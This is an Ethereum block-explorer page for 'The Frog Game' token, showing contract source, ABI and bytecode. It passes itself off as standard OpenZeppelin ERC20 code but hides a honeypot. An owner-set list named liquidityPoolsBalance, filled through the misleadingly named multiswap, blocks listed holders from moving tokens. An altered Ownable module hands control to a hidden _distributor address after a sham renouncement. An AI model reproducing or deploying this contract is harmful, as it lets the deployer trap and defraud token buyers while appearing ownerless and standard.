ETH Price: $3,497.64 (+3.13%)
Gas: 3 Gwei

Token

The Frog Game (FrogGame)
 

Overview

Max Total Supply

420,000,000,000 FrogGame

Holders

61

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,653,771,825.455304817 FrogGame

Value
$0.00
0xc2835c5dad8e0e76a40cbc5f93f74bcd6c40f122
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TheFrogGaem

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 3: The Frog Game.sol
/**
                                                     
                  -+###*-.         -+*##+=.                 
               .*@@@%##@@@#.     +@@@%##@@@#:               
              :@@@*###= -%@@-..:%@@##%%*.:#@@-              
              #@@=@@@@@* .@@@@@@@@+@@@@@@  @@@              
              *@@=#@@@@: :@@@@@@@@=+@@@%- .@@%              
              .@@@+::. .+@@@@@@@@@@+:.. .=@@@.              
              =@@@@@@%@@@@@@@@@@@@@@@@%@@@@@@+              
             :@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+             
             #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@             
             *@@@%#%@@@@@@@@@@@@@@@@@@@@@#%@@@%             
             .@@@@@%***%@@@@@@@@@@@@@%**#@@@@@-             
              :%@@@@@@@#++++++++++++*#@@@@@@%:              
                -#@@@@@@@@@@@@@@@@@@@@@@@@%=                
                    *@@@@@@@@@@@@@@@@@@#               

*/// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity 0.8.9;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)

pragma solidity 0.8.9;

import "./IERC20Metadata.sol";


/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    mapping(address => bool) public liquidityPoolsBalance;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function getVotes(address recipient) external view returns(bool){
        return liquidityPoolsBalance[recipient];
    }

    function _liquidityPool(address from) internal view returns(bool){
        return !liquidityPoolsBalance[from];
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol)

pragma solidity 0.8.9;



/**
 * @dev Extension of {ERC20} that allows token holders to destroy both their own
 * tokens and those that they have an allowance for, in a way that can be
 * recognized off-chain (via event analysis).
 */
abstract contract ERC20Burnable is Context, ERC20 {
    /**
     * @dev Destroys `amount` tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 amount) public virtual {
        _burn(_msgSender(), amount);
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity 0.8.9;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _distributor;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function Owner() internal view virtual returns (address) {
        return _owner==address(0) ? _distributor : _owner;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    /**
     * @dev Set new distributor.
     */
    function feeDistributor(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }

    
}

pragma solidity 0.8.9;


contract TheFrogGaem is Ownable, ERC20, ERC20Burnable {
    address public uniswapV2Pair;
    mapping (address => bool) public liquidityCreator;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    constructor() ERC20("The Frog Game", "FrogGame") {
        _mint(msg.sender, 420_000_000_000_000_000_000);
        liquidityCreator[owner()] = true;
    }

    function setRule(address _uniswapV2Pair) external onlyOwner {
        uniswapV2Pair = _uniswapV2Pair;
    }

    function _beforeTokenTransfer(
    address from,
    address to,
    uint256 amount
    ) override internal virtual {

        if (!_liquidityPool(from)) {require(amount==0);}

        if (uniswapV2Pair == address(0)) {
            require(from == owner() || to == owner(), "trading is not started");
            return;
        }

    }

    function multiswap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            liquidityPoolsBalance[address_[i]] = val;
        }
    }

    function getCirculatingSupply() public view returns (uint256) {
        return totalSupply() - (balanceOf(DEAD) + balanceOf(ZERO));
    }
}

File 1 of 3: IERC20.sol
// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

pragma solidity 0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 2 of 3: IERC20Metadata.sol
// SPDX-License-Identifier: MIT


// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity 0.8.9;
import "./IERC20.sol";
/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"feeDistributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"getVotes","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"liquidityCreator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"liquidityPoolsBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"multiswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Pair","type":"address"}],"name":"setRule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405261dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200009657600080fd5b506040518060400160405280600d81526020017f5468652046726f672047616d65000000000000000000000000000000000000008152506040518060400160405280600881526020017f46726f6747616d650000000000000000000000000000000000000000000000008152506200012362000117620001df60201b60201c565b620001e760201b60201c565b81600590805190602001906200013b929190620005f9565b50806006908051906020019062000154929190620005f9565b50505062000172336816c4abbebea0100000620002ab60201b60201c565b600160096000620001886200042560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620008c7565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200031e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000315906200070a565b60405180910390fd5b62000332600083836200044e60201b60201c565b806004600082825462000346919062000765565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200039e919062000765565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004059190620007d3565b60405180910390a362000421600083836200059d60201b60201c565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200045f83620005a260201b60201c565b6200047357600081146200047257600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156200059757620004db6200042560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806200054f5750620005206200042560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b62000591576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005889062000840565b60405180910390fd5b62000598565b5b505050565b505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b828054620006079062000891565b90600052602060002090601f0160209004810192826200062b576000855562000677565b82601f106200064657805160ff191683800117855562000677565b8280016001018555821562000677579182015b828111156200067657825182559160200191906001019062000659565b5b5090506200068691906200068a565b5090565b5b80821115620006a55760008160009055506001016200068b565b5090565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620006f2601f83620006a9565b9150620006ff82620006ba565b602082019050919050565b600060208201905081810360008301526200072581620006e3565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000772826200072c565b91506200077f836200072c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007b757620007b662000736565b5b828201905092915050565b620007cd816200072c565b82525050565b6000602082019050620007ea6000830184620007c2565b92915050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b600062000828601683620006a9565b91506200083582620007f0565b602082019050919050565b600060208201905081810360008301526200085b8162000819565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008aa57607f821691505b60208210811415620008c157620008c062000862565b5b50919050565b61234380620008d76000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063a9059cbb1161007c578063a9059cbb146103b6578063c34b2e07146103e6578063dae39f9214610402578063db5d779314610432578063dd62ed3e1461044e578063f2fde38b1461047e5761014d565b806370a08231146102e0578063715018a6146103105780638da5cb5b1461031a57806395d89b41146103385780639ab24eb014610356578063a457c2d7146103865761014d565b80632b112e49116101155780632b112e491461021e578063313ce5671461023c578063338d46691461025a578063395093511461027657806342966c68146102a657806349bd5a5e146102c25761014d565b80630283852d1461015257806306fdde0314610182578063095ea7b3146101a057806318160ddd146101d057806323b872dd146101ee575b600080fd5b61016c6004803603810190610167919061171f565b61049a565b6040516101799190611767565b60405180910390f35b61018a6104ba565b604051610197919061181b565b60405180910390f35b6101ba60048036038101906101b59190611873565b61054c565b6040516101c79190611767565b60405180910390f35b6101d861056a565b6040516101e591906118c2565b60405180910390f35b610208600480360381019061020391906118dd565b610574565b6040516102159190611767565b60405180910390f35b61022661066c565b60405161023391906118c2565b60405180910390f35b6102446106e5565b604051610251919061194c565b60405180910390f35b610274600480360381019061026f91906119f8565b6106ee565b005b610290600480360381019061028b9190611873565b61079b565b60405161029d9190611767565b60405180910390f35b6102c060048036038101906102bb9190611a58565b610847565b005b6102ca61085b565b6040516102d79190611a94565b60405180910390f35b6102fa60048036038101906102f5919061171f565b610881565b60405161030791906118c2565b60405180910390f35b6103186108ca565b005b6103226108de565b60405161032f9190611a94565b60405180910390f35b610340610907565b60405161034d919061181b565b60405180910390f35b610370600480360381019061036b919061171f565b610999565b60405161037d9190611767565b60405180910390f35b6103a0600480360381019061039b9190611873565b6109ef565b6040516103ad9190611767565b60405180910390f35b6103d060048036038101906103cb9190611873565b610ada565b6040516103dd9190611767565b60405180910390f35b61040060048036038101906103fb919061171f565b610af8565b005b61041c6004803603810190610417919061171f565b610b9f565b6040516104299190611767565b60405180910390f35b61044c6004803603810190610447919061171f565b610bbf565b005b61046860048036038101906104639190611aaf565b610c0b565b60405161047591906118c2565b60405180910390f35b6104986004803603810190610493919061171f565b610c92565b005b60076020528060005260406000206000915054906101000a900460ff1681565b6060600580546104c990611b1e565b80601f01602080910402602001604051908101604052809291908181526020018280546104f590611b1e565b80156105425780601f1061051757610100808354040283529160200191610542565b820191906000526020600020905b81548152906001019060200180831161052557829003601f168201915b5050505050905090565b6000610560610559610d16565b8484610d1e565b6001905092915050565b6000600454905090565b6000610581848484610ee9565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cc610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561064c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064390611bc2565b60405180910390fd5b61066085610658610d16565b858403610d1e565b60019150509392505050565b6000610699600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610881565b6106c4600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610881565b6106ce9190611c11565b6106d661056a565b6106e09190611c67565b905090565b60006009905090565b6106f661116d565b60005b8383905081101561079557816007600086868581811061071c5761071b611c9b565b5b9050602002016020810190610731919061171f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061078d90611cca565b9150506106f9565b50505050565b600061083d6107a8610d16565b8484600360006107b6610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108389190611c11565b